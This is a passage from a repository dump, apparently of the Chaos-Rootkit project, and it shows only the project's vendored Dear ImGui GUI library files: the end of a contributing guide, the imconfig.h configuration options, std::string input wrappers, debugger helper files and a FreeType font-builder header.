`IM_ASSERT(false);` in your main() function. Your application should display an error message and abort. If your application doesn't report an error, your asserts are disabled. 52 | - **Please provide a Minimal, Complete, and Verifiable Example ([MCVE](https://stackoverflow.com/help/mcve)) to demonstrate your problem**. An ideal submission includes a small piece of code that anyone can paste into one of the examples applications (examples/../main.cpp) or demo (imgui_demo.cpp) to understand and reproduce it. Narrowing your problem to its shortest and purest form is the easiest way to understand it. Please test your shortened code to ensure it exhibits the problem. **Often while creating the MCVE you will end up solving the problem!** Many questions that are missing a standalone verifiable example are missing the actual cause of their issue in the description, which ends up wasting everyone's time. 53 | - Please state if you have made substantial modifications to your copy of Dear ImGui or the back-end. 54 | - If you are not calling Dear ImGui directly from C++, please provide information about your Language and the wrapper/binding you are using. 55 | - Be mindful that messages are being sent to the mailbox of "Watching" users. Try to proofread your messages before sending them. Edits are not seen by those users unless they browse the site. 56 | 57 | **Some unfortunate words of warning** 58 | - If you are involved in cheating schemes (e.g. DLL injection) for competitive online multiplayer games, please don't try posting here. We won't answer and you will be blocked. It doesn't matter if your question relates to said project. We've had too many of you and need to project our time and sanity. 59 | - Due to frequent abuse of this service from the aforementioned users, if your GitHub account is anonymous and was created five minutes ago please understand that your post will receive more scrutiny and incomplete questions will be harshly dismissed. 60 | 61 | If you have been using Dear ImGui for a while or have been using C/C++ for several years or have demonstrated good behavior here, it is ok to not fulfill every item to the letter. Those are guidelines and experienced users or members of the community will know which information is useful in a given context. 62 | 63 | ## How to open a Pull Request 64 | 65 | - **Please understand that by submitting a PR you are also submitting a request for the maintainer to review your code and then take over its maintenance.** PR should be crafted both in the interest of the end-users and also to ease the maintainer into understanding and accepting it. 66 | - Many PRs are useful to demonstrate a need and a possible solution but aren't adequate for merging (causing other issues, not seeing other aspects of the big picture, etc.). In doubt, don't hesitate to push a PR because that is always the first step toward finding the mergeable solution! Even if a PR stays unmerged for a long time, its presence can be useful for other users and helps toward finding a general solution. 67 | - **When adding a feature,** please describe the usage context (how you intend to use it, why you need it, etc.). Be mindful of [The XY Problem](http://xyproblem.info/). 68 | - **When fixing a warning or compilation problem,** please post the compiler log and specify the compiler version and platform you are using. 69 | - **Attach screenshots (or GIF/video) to clarify the context and demonstrate the feature at a glance.** You can drag pictures/files in the message edit box. Prefer the long-term longevity of GitHub attachments over 3rd party hosting (you can drag pictures into your post). 70 | - **Make sure your code follows the coding style already used in the codebase:** 4 spaces indentations (no tabs), `local_variable`, `FunctionName()`, `MemberName`, `// Text Comment`, `//CodeComment();`, C-style casts, etc.. We don't use modern C++ idioms and tend to use only a minimum of C++11 features. The applications under examples/ are generally less consistent because they sometimes try to mimic the coding style often adopted by a certain ecosystem (e.g. DirectX-related code tend to use the style of their sample). 71 | - **Make sure you create a branch dedicated to the pull request**. In Git, 1 PR is associated to 1 branch. If you keep pushing to the same branch after you submitted the PR, your new commits will appear in the PR (we can still cherry-pick individual commits). 72 | 73 | Thank you for reading! 74 | 75 | ## Copyright / Contributor License Agreement 76 | 77 | Any code you submit will become part of the repository and be distributed under the [Dear ImGui license](https://github.com/ocornut/imgui/blob/master/LICENSE.txt). By submitting code to the project you agree that the code is your work and that you can give it to the project. 78 | 79 | You also agree by submitting your code that you grant all transferrable rights to the code to the project maintainer, including for example re-licensing the code, modifying the code, and distributing it in source or binary forms. Specifically, this includes a requirement that you assign copyright to the project maintainer. For this reason, do not modify any copyright statements in files in any PRs. 80 | 81 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/imconfig.h: -------------------------------------------------------------------------------- 1 | //----------------------------------------------------------------------------- 2 | // COMPILE-TIME OPTIONS FOR DEAR IMGUI 3 | // Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure. 4 | // You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions. 5 | //----------------------------------------------------------------------------- 6 | // A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it) 7 | // B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template. 8 | //----------------------------------------------------------------------------- 9 | // You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp 10 | // files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures. 11 | // Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts. 12 | // Call IMGUI_CHECKVERSION() from your .cpp files to verify that the data structures your files are using are matching the ones imgui.cpp is using. 13 | //----------------------------------------------------------------------------- 14 | 15 | #pragma once 16 | 17 | //---- Define assertion handler. Defaults to calling assert(). 18 | // If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement. 19 | //#define IM_ASSERT(_EXPR) MyAssert(_EXPR) 20 | //#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts 21 | 22 | //---- Define attributes of all API symbols declarations, e.g. for DLL under Windows 23 | // Using Dear ImGui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility. 24 | // DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions() 25 | // for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for more details. 26 | //#define IMGUI_API __declspec( dllexport ) 27 | //#define IMGUI_API __declspec( dllimport ) 28 | 29 | //---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to avoid using soon-to-be obsolete function/names. 30 | //#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS 31 | //#define IMGUI_DISABLE_OBSOLETE_KEYIO // 1.87: disable legacy io.KeyMap[]+io.KeysDown[] in favor io.AddKeyEvent(). This will be folded into IMGUI_DISABLE_OBSOLETE_FUNCTIONS in a few versions. 32 | 33 | //---- Disable all of Dear ImGui or don't implement standard windows/tools. 34 | // It is very strongly recommended to NOT disable the demo windows and debug tool during development. They are extremely useful in day to day work. Please read comments in imgui_demo.cpp. 35 | //#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty. 36 | //#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty. 37 | //#define IMGUI_DISABLE_DEBUG_TOOLS // Disable metrics/debugger and other debug tools: ShowMetricsWindow(), ShowDebugLogWindow() and ShowStackToolWindow() will be empty (this was called IMGUI_DISABLE_METRICS_WINDOW before 1.88). 38 | 39 | //---- Don't implement some functions to reduce linkage requirements. 40 | //#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. (user32.lib/.a, kernel32.lib/.a) 41 | //#define IMGUI_ENABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] [Default with Visual Studio] Implement default IME handler (require imm32.lib/.a, auto-link for Visual Studio, -limm32 on command-line for MinGW) 42 | //#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] [Default with non-Visual Studio compilers] Don't implement default IME handler (won't require imm32.lib/.a) 43 | //#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, ime). 44 | //#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default). 45 | //#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf) 46 | //#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself. 47 | //#define IMGUI_DISABLE_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite and ImFileHandle at all (replace them with dummies) 48 | //#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite and ImFileHandle so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function. 49 | //#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions(). 50 | //#define IMGUI_DISABLE_SSE // Disable use of SSE intrinsics even if available 51 | 52 | //---- Include imgui_user.h at the end of imgui.h as a convenience 53 | //#define IMGUI_INCLUDE_IMGUI_USER_H 54 | 55 | //---- Pack colors to BGRA8 instead of RGBA8 (to avoid converting from one to another) 56 | //#define IMGUI_USE_BGRA_PACKED_COLOR 57 | 58 | //---- Use 32-bit for ImWchar (default is 16-bit) to support unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...) 59 | //#define IMGUI_USE_WCHAR32 60 | 61 | //---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version 62 | // By default the embedded implementations are declared static and not available outside of Dear ImGui sources files. 63 | //#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" 64 | //#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" 65 | //#define IMGUI_STB_SPRINTF_FILENAME "my_folder/stb_sprintf.h" // only used if enabled 66 | //#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION 67 | //#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION 68 | 69 | //---- Use stb_sprintf.h for a faster implementation of vsnprintf instead of the one from libc (unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined) 70 | // Compatibility checks of arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by stb_sprintf.h. 71 | //#define IMGUI_USE_STB_SPRINTF 72 | 73 | //---- Use FreeType to build and rasterize the font atlas (instead of stb_truetype which is embedded by default in Dear ImGui) 74 | // Requires FreeType headers to be available in the include path. Requires program to be compiled with 'misc/freetype/imgui_freetype.cpp' (in this repository) + the FreeType library (not provided). 75 | // On Windows you may use vcpkg with 'vcpkg install freetype --triplet=x64-windows' + 'vcpkg integrate install'. 76 | //#define IMGUI_ENABLE_FREETYPE 77 | 78 | //---- Use stb_truetype to build and rasterize the font atlas (default) 79 | // The only purpose of this define is if you want force compilation of the stb_truetype backend ALONG with the FreeType backend. 80 | //#define IMGUI_ENABLE_STB_TRUETYPE 81 | 82 | //---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4. 83 | // This will be inlined as part of ImVec2 and ImVec4 class declarations. 84 | /* 85 | #define IM_VEC2_CLASS_EXTRA \ 86 | constexpr ImVec2(const MyVec2& f) : x(f.x), y(f.y) {} \ 87 | operator MyVec2() const { return MyVec2(x,y); } 88 | 89 | #define IM_VEC4_CLASS_EXTRA \ 90 | constexpr ImVec4(const MyVec4& f) : x(f.x), y(f.y), z(f.z), w(f.w) {} \ 91 | operator MyVec4() const { return MyVec4(x,y,z,w); } 92 | */ 93 | //---- ...Or use Dear ImGui's own very basic math operators. 94 | //#define IMGUI_DEFINE_MATH_OPERATORS 95 | 96 | //---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices. 97 | // Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices). 98 | // Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer. 99 | // Read about ImGuiBackendFlags_RendererHasVtxOffset for details. 100 | //#define ImDrawIdx unsigned int 101 | 102 | //---- Override ImDrawCallback signature (will need to modify renderer backends accordingly) 103 | //struct ImDrawList; 104 | //struct ImDrawCmd; 105 | //typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data); 106 | //#define ImDrawCallback MyImDrawCallback 107 | 108 | //---- Debug Tools: Macro to break in Debugger 109 | // (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.) 110 | //#define IM_DEBUG_BREAK IM_ASSERT(0) 111 | //#define IM_DEBUG_BREAK __debugbreak() 112 | 113 | //---- Debug Tools: Enable slower asserts 114 | //#define IMGUI_DEBUG_PARANOID 115 | 116 | //---- Tip: You can add extra functions within the ImGui:: namespace, here or in your own headers files. 117 | /* 118 | namespace ImGui 119 | { 120 | void MyFunction(const char* name, const MyMatrix44& v); 121 | } 122 | */ 123 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/README.txt: -------------------------------------------------------------------------------- 1 | 2 | misc/cpp/ 3 | InputText() wrappers for C++ standard library (STL) type: std::string. 4 | This is also an example of how you may wrap your own similar types. 5 | 6 | misc/debuggers/ 7 | Helper files for popular debuggers. 8 | With the .natvis file, types like ImVector<> will be displayed nicely in Visual Studio debugger. 9 | 10 | misc/fonts/ 11 | Fonts loading/merging instructions (e.g. How to handle glyph ranges, how to merge icons fonts). 12 | Command line tool "binary_to_compressed_c" to create compressed arrays to embed data in source code. 13 | Suggested fonts and links. 14 | 15 | misc/freetype/ 16 | Font atlas builder/rasterizer using FreeType instead of stb_truetype. 17 | Benefit from better FreeType rasterization, in particular for small fonts. 18 | 19 | misc/single_file/ 20 | Single-file header stub. 21 | We use this to validate compiling all *.cpp files in a same compilation unit. 22 | Users of that technique (also called "Unity builds") can generally provide this themselves, 23 | so we don't really recommend you use this in your projects. 24 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/cpp/README.txt: -------------------------------------------------------------------------------- 1 | 2 | imgui_stdlib.h + imgui_stdlib.cpp 3 | InputText() wrappers for C++ standard library (STL) type: std::string. 4 | This is also an example of how you may wrap your own similar types. 5 | 6 | imgui_scoped.h 7 | [Experimental, not currently in main repository] 8 | Additional header file with some RAII-style wrappers for common Dear ImGui functions. 9 | Try by merging: https://github.com/ocornut/imgui/pull/2197 10 | Discuss at: https://github.com/ocornut/imgui/issues/2096 11 | 12 | See more C++ related extension (fmt, RAII, syntaxis sugar) on Wiki: 13 | https://github.com/ocornut/imgui/wiki/Useful-Extensions#cness 14 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/cpp/imgui_stdlib.cpp: -------------------------------------------------------------------------------- 1 | // dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) 2 | // This is also an example of how you may wrap your own similar types. 3 | 4 | // Changelog: 5 | // - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string 6 | 7 | // See more C++ related extension (fmt, RAII, syntaxis sugar) on Wiki: 8 | // https://github.com/ocornut/imgui/wiki/Useful-Extensions#cness 9 | 10 | #include "imgui.h" 11 | #include "imgui_stdlib.h" 12 | 13 | struct InputTextCallback_UserData 14 | { 15 | std::string* Str; 16 | ImGuiInputTextCallback ChainCallback; 17 | void* ChainCallbackUserData; 18 | }; 19 | 20 | static int InputTextCallback(ImGuiInputTextCallbackData* data) 21 | { 22 | InputTextCallback_UserData* user_data = (InputTextCallback_UserData*)data->UserData; 23 | if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) 24 | { 25 | // Resize string callback 26 | // If for some reason we refuse the new length (BufTextLen) and/or capacity (BufSize) we need to set them back to what we want. 27 | std::string* str = user_data->Str; 28 | IM_ASSERT(data->Buf == str->c_str()); 29 | str->resize(data->BufTextLen); 30 | data->Buf = (char*)str->c_str(); 31 | } 32 | else if (user_data->ChainCallback) 33 | { 34 | // Forward to user callback, if any 35 | data->UserData = user_data->ChainCallbackUserData; 36 | return user_data->ChainCallback(data); 37 | } 38 | return 0; 39 | } 40 | 41 | bool ImGui::InputText(const char* label, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) 42 | { 43 | IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); 44 | flags |= ImGuiInputTextFlags_CallbackResize; 45 | 46 | InputTextCallback_UserData cb_user_data; 47 | cb_user_data.Str = str; 48 | cb_user_data.ChainCallback = callback; 49 | cb_user_data.ChainCallbackUserData = user_data; 50 | return InputText(label, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); 51 | } 52 | 53 | bool ImGui::InputTextMultiline(const char* label, std::string* str, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) 54 | { 55 | IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); 56 | flags |= ImGuiInputTextFlags_CallbackResize; 57 | 58 | InputTextCallback_UserData cb_user_data; 59 | cb_user_data.Str = str; 60 | cb_user_data.ChainCallback = callback; 61 | cb_user_data.ChainCallbackUserData = user_data; 62 | return InputTextMultiline(label, (char*)str->c_str(), str->capacity() + 1, size, flags, InputTextCallback, &cb_user_data); 63 | } 64 | 65 | bool ImGui::InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) 66 | { 67 | IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); 68 | flags |= ImGuiInputTextFlags_CallbackResize; 69 | 70 | InputTextCallback_UserData cb_user_data; 71 | cb_user_data.Str = str; 72 | cb_user_data.ChainCallback = callback; 73 | cb_user_data.ChainCallbackUserData = user_data; 74 | return InputTextWithHint(label, hint, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); 75 | } 76 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/cpp/imgui_stdlib.h: -------------------------------------------------------------------------------- 1 | // dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) 2 | // This is also an example of how you may wrap your own similar types. 3 | 4 | // Changelog: 5 | // - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string 6 | 7 | // See more C++ related extension (fmt, RAII, syntaxis sugar) on Wiki: 8 | // https://github.com/ocornut/imgui/wiki/Useful-Extensions#cness 9 | 10 | #pragma once 11 | 12 | #include 13 | 14 | namespace ImGui 15 | { 16 | // ImGui::InputText() with std::string 17 | // Because text input needs dynamic resizing, we need to setup a callback to grow the capacity 18 | IMGUI_API bool InputText(const char* label, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = nullptr, void* user_data = nullptr); 19 | IMGUI_API bool InputTextMultiline(const char* label, std::string* str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = nullptr, void* user_data = nullptr); 20 | IMGUI_API bool InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = nullptr, void* user_data = nullptr); 21 | } 22 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/debuggers/README.txt: -------------------------------------------------------------------------------- 1 | 2 | HELPER FILES FOR POPULAR DEBUGGERS 3 | 4 | imgui.gdb 5 | GDB: disable stepping into trivial functions. 6 | (read comments inside file for details) 7 | 8 | imgui.natstepfilter 9 | Visual Studio Debugger: disable stepping into trivial functions. 10 | (read comments inside file for details) 11 | 12 | imgui.natvis 13 | Visual Studio Debugger: describe Dear ImGui types for better display. 14 | With this, types like ImVector<> will be displayed nicely in the debugger. 15 | (read comments inside file for details) 16 | 17 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/debuggers/imgui.gdb: -------------------------------------------------------------------------------- 1 | # GDB configuration to aid debugging experience 2 | 3 | # To enable these customizations edit $HOME/.gdbinit (or ./.gdbinit if local gdbinit is enabled) and add: 4 | # add-auto-load-safe-path /path/to/imgui.gdb 5 | # source /path/to/imgui.gdb 6 | # 7 | # More Information at: 8 | # * https://sourceware.org/gdb/current/onlinedocs/gdb/gdbinit-man.html 9 | # * https://sourceware.org/gdb/current/onlinedocs/gdb/Init-File-in-the-Current-Directory.html#Init-File-in-the-Current-Directory 10 | 11 | # Disable stepping into trivial functions 12 | skip -rfunction Im(Vec2|Vec4|Strv|Vector|Span)::.+ 13 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/debuggers/imgui.natstepfilter: -------------------------------------------------------------------------------- 1 | 2 | 18 | 19 | 20 | 21 | 22 | 23 | (ImVec2|ImVec4|ImStrv)::.+ 24 | NoStepInto 25 | 26 | 27 | (ImVector|ImSpan).*::operator.+ 28 | NoStepInto 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/debuggers/imgui.natvis: -------------------------------------------------------------------------------- 1 | 2 | 13 | 14 | 15 | 16 | 17 | {{Size={Size} Capacity={Capacity}}} 18 | 19 | 20 | Size 21 | Data 22 | 23 | 24 | 25 | 26 | 27 | {{Size={DataEnd-Data} }} 28 | 29 | 30 | DataEnd-Data 31 | Data 32 | 33 | 34 | 35 | 36 | 37 | {{x={x,g} y={y,g}}} 38 | 39 | 40 | 41 | {{x={x,g} y={y,g} z={z,g} w={w,g}}} 42 | 43 | 44 | 45 | {{Min=({Min.x,g} {Min.y,g}) Max=({Max.x,g} {Max.y,g}) Size=({Max.x-Min.x,g} {Max.y-Min.y,g})}} 46 | 47 | Min 48 | Max 49 | Max.x - Min.x 50 | Max.y - Min.y 51 | 52 | 53 | 54 | 55 | {{Name {Name,s} Active {(Active||WasActive)?1:0,d} Child {(Flags & 0x01000000)?1:0,d} Popup {(Flags & 0x04000000)?1:0,d} Hidden {(Hidden)?1:0,d}} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/Cousine-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/Cousine-Regular.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/DroidSans.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/DroidSans.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/Karla-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/Karla-Regular.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/ProggyClean.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/ProggyClean.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/ProggyTiny.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/ProggyTiny.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/fonts/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZeroMemoryEx/Chaos-Rootkit/9fa3c267253bfb60ab83f92202ec7800110f1e23/ring3-gui/libs/imgui/misc/fonts/Roboto-Medium.ttf -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/freetype/README.md: -------------------------------------------------------------------------------- 1 | # imgui_freetype 2 | 3 | Build font atlases using FreeType instead of stb_truetype (which is the default font rasterizer). 4 |
by @vuhdo, @mikesart, @ocornut. 5 | 6 | ### Usage 7 | 8 | 1. Get latest FreeType binaries or build yourself (under Windows you may use vcpkg with `vcpkg install freetype --triplet=x64-windows`, `vcpkg integrate install`). 9 | 2. Add imgui_freetype.h/cpp alongside your project files. 10 | 3. Add `#define IMGUI_ENABLE_FREETYPE` in your [imconfig.h](https://github.com/ocornut/imgui/blob/master/imconfig.h) file 11 | 12 | ### About Gamma Correct Blending 13 | 14 | FreeType assumes blending in linear space rather than gamma space. 15 | See FreeType note for [FT_Render_Glyph](https://www.freetype.org/freetype2/docs/reference/ft2-base_interface.html#FT_Render_Glyph). 16 | For correct results you need to be using sRGB and convert to linear space in the pixel shader output. 17 | The default Dear ImGui styles will be impacted by this change (alpha values will need tweaking). 18 | 19 | ### Testbed for toying with settings (for developers) 20 | 21 | See https://gist.github.com/ocornut/b3a9ecf13502fd818799a452969649ad 22 | 23 | ### Known issues 24 | 25 | - Oversampling settins are ignored but also not so much necessary with the higher quality rendering. 26 | 27 | ### Comparison 28 | 29 | Small, thin anti-aliased fonts typically benefit a lot from FreeType's hinting: 30 | ![comparing_font_rasterizers](https://user-images.githubusercontent.com/8225057/107550178-fef87f00-6bd0-11eb-8d09-e2edb2f0ccfc.gif) 31 | 32 | ### Colorful glyphs/emojis 33 | 34 | You can use the `ImGuiFreeTypeBuilderFlags_LoadColor` flag to load certain colorful glyphs. See the 35 | ["Using Colorful Glyphs/Emojis"](https://github.com/ocornut/imgui/blob/master/docs/FONTS.md#using-colorful-glyphsemojis) section of FONTS.md. 36 | 37 | ![colored glyphs](https://user-images.githubusercontent.com/8225057/106171241-9dc4ba80-6191-11eb-8a69-ca1467b206d1.png) 38 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/freetype/imgui_freetype.h: -------------------------------------------------------------------------------- 1 | // dear imgui: FreeType font builder (used as a replacement for the stb_truetype builder) 2 | // (headers) 3 | 4 | #pragma once 5 | 6 | #include "imgui.h" // IMGUI_API 7 | 8 | // Forward declarations 9 | struct ImFontAtlas; 10 | struct ImFontBuilderIO; 11 | 12 | // Hinting greatly impacts visuals (and glyph sizes). 13 | // - By default, hinting is enabled and the font's native hinter is preferred over the auto-hinter. 14 | // - When disabled, FreeType generates blurrier glyphs, more or less matches the stb_truetype.h 15 | // - The Default hinting mode usually looks good, but may distort glyphs in an unusual way. 16 | // - The Light hinting mode generates fuzzier glyphs but better matches Microsoft's rasterizer. 17 | // You can set those flags globaly in ImFontAtlas::FontBuilderFlags 18 | // You can set those flags on a per font basis in ImFontConfig::FontBuilderFlags 19 | enum ImGuiFreeTypeBuilderFlags 20 | { 21 | ImGuiFreeTypeBuilderFlags_NoHinting = 1 << 0, // Disable hinting. This generally generates 'blurrier' bitmap glyphs when the glyph are rendered in any of the anti-aliased modes. 22 | ImGuiFreeTypeBuilderFlags_NoAutoHint = 1 << 1, // Disable auto-hinter. 23 | ImGuiFreeTypeBuilderFlags_ForceAutoHint = 1 << 2, // Indicates that the auto-hinter is preferred over the font's native hinter. 24 | ImGuiFreeTypeBuilderFlags_LightHinting = 1 << 3, // A lighter hinting algorithm for gray-level modes. Many generated glyphs are fuzzier but better resemble their original shape. This is achieved by snapping glyphs to the pixel grid only vertically (Y-axis), as is done by Microsoft's ClearType and Adobe's proprietary font renderer. This preserves inter-glyph spacing in horizontal text. 25 | ImGuiFreeTypeBuilderFlags_MonoHinting = 1 << 4, // Strong hinting algorithm that should only be used for monochrome output. 26 | ImGuiFreeTypeBuilderFlags_Bold = 1 << 5, // Styling: Should we artificially embolden the font? 27 | ImGuiFreeTypeBuilderFlags_Oblique = 1 << 6, // Styling: Should we slant the font, emulating italic style? 28 | ImGuiFreeTypeBuilderFlags_Monochrome = 1 << 7, // Disable anti-aliasing. Combine this with MonoHinting for best results! 29 | ImGuiFreeTypeBuilderFlags_LoadColor = 1 << 8, // Enable FreeType color-layered glyphs 30 | ImGuiFreeTypeBuilderFlags_Bitmap = 1 << 9 // Enable FreeType bitmap glyphs 31 | }; 32 | 33 | namespace ImGuiFreeType 34 | { 35 | // This is automatically assigned when using '#define IMGUI_ENABLE_FREETYPE'. 36 | // If you need to dynamically select between multiple builders: 37 | // - you can manually assign this builder with 'atlas->FontBuilderIO = ImGuiFreeType::GetBuilderForFreeType()' 38 | // - prefer deep-copying this into your own ImFontBuilderIO instance if you use hot-reloading that messes up static data. 39 | IMGUI_API const ImFontBuilderIO* GetBuilderForFreeType(); 40 | 41 | // Override allocators. By default ImGuiFreeType will use IM_ALLOC()/IM_FREE() 42 | // However, as FreeType does lots of allocations we provide a way for the user to redirect it to a separate memory heap if desired. 43 | IMGUI_API void SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data = nullptr); 44 | 45 | // Obsolete names (will be removed soon) 46 | // Prefer using '#define IMGUI_ENABLE_FREETYPE' 47 | #ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS 48 | static inline bool BuildFontAtlas(ImFontAtlas* atlas, unsigned int flags = 0) { atlas->FontBuilderIO = GetBuilderForFreeType(); atlas->FontBuilderFlags = flags; return atlas->Build(); } 49 | #endif 50 | } 51 | -------------------------------------------------------------------------------- /ring3-gui/libs/imgui/misc/single_file/imgui_single_file.h: -------------------------------------------------------------------------------- 1 | // dear imgui: single-file wrapper include 2 | // We use this to validate compiling all *.cpp files in a same compilation unit. 3 | // Users of that technique (also called "Unity builds") can generally provide this themselves, 4 | // so we don't really recommend you use this in your projects. 5 | 6 | // Do this: 7 | // #define IMGUI_IMPLEMENTATION 8 | // Before you include this file in *one* C++ file to create the implementation. 9 | // Using this in your project will leak the contents of imgui_internal.h and ImVec2 operators in this compilation unit. 10 | 11 | #ifdef IMGUI_IMPLEMENTATION 12 | #define IMGUI_DEFINE_MATH_OPERATORS 13 | #endif 14 | 15 | #include "../../imgui.h" 16 | #ifdef IMGUI_ENABLE_FREETYPE 17 | #include "../../misc/freetype/imgui_freetype.h" 18 | #endif 19 | 20 | #ifdef IMGUI_IMPLEMENTATION 21 | #include "../../imgui.cpp" 22 | #include "../../imgui_demo.cpp" 23 | #include "../../imgui_draw.cpp" 24 | #include "../../imgui_tables.cpp" 25 | #include "../../imgui_widgets.cpp" 26 | #ifdef IMGUI_ENABLE_FREETYPE 